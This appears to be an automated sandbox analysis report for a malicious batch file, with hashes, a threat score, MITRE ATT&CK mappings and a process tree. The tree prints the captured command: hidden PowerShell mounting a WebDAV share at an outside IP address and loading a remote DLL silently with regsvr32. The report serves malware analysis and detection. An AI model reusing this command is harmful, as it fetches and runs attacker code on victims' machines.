d57c0af69864f37b2a7865f36da51cb0f58acf477e07911f1678a8a5fe5d23d7

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
22/07/2024, 21:26

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General

Target

1684630441224035991.bat
Size

20KB
MD5

bbdf9e3885472a07e8da49719e3fffc3
SHA1

a8e9e51f395a3c8f55ba1170580fe2c09c93608a
SHA256

d57c0af69864f37b2a7865f36da51cb0f58acf477e07911f1678a8a5fe5d23d7
SHA512

26dd9793e325a9fb019b9aa7a4b27bebb218e3cd401210fcbf86e302b447507d66c6d54775fe184369894acc38e99c987df49854627d9e95d0972fa9469f4a8b
SSDEEP

384:tRUVlhISo/CXmwSsngwO5AmQKbQpKgO9w3Fy0oAykcx4QLuAwdRAFuphgfVdT:tR2h7mC2wS9FA1yQpKgKw3FjoLkgxHw8

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1200	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1200	powershell.exe
1200	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1200	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1080	wordpad.exe
1080	wordpad.exe
1080	wordpad.exe
1080	wordpad.exe
1080	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5116 wrote to memory of 1080	5116	cmd.exe	85
PID 5116 wrote to memory of 1080	5116	cmd.exe	85
PID 5116 wrote to memory of 1200	5116	cmd.exe	88
PID 5116 wrote to memory of 1200	5116	cmd.exe	88
PID 1200 wrote to memory of 536	1200	powershell.exe	90
PID 1200 wrote to memory of 536	1200	powershell.exe	90
PID 1200 wrote to memory of 4356	1200	powershell.exe	91
PID 1200 wrote to memory of 4356	1200	powershell.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1684630441224035991.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5116
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2217731768123.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:536
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2217731768123.dll
    3⤵
    PID:4356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2944

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fgsbuiwg.r2u.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1200-9-0x00000221C4C00000-0x00000221C4C22000-memory.dmp

Filesize
136KB

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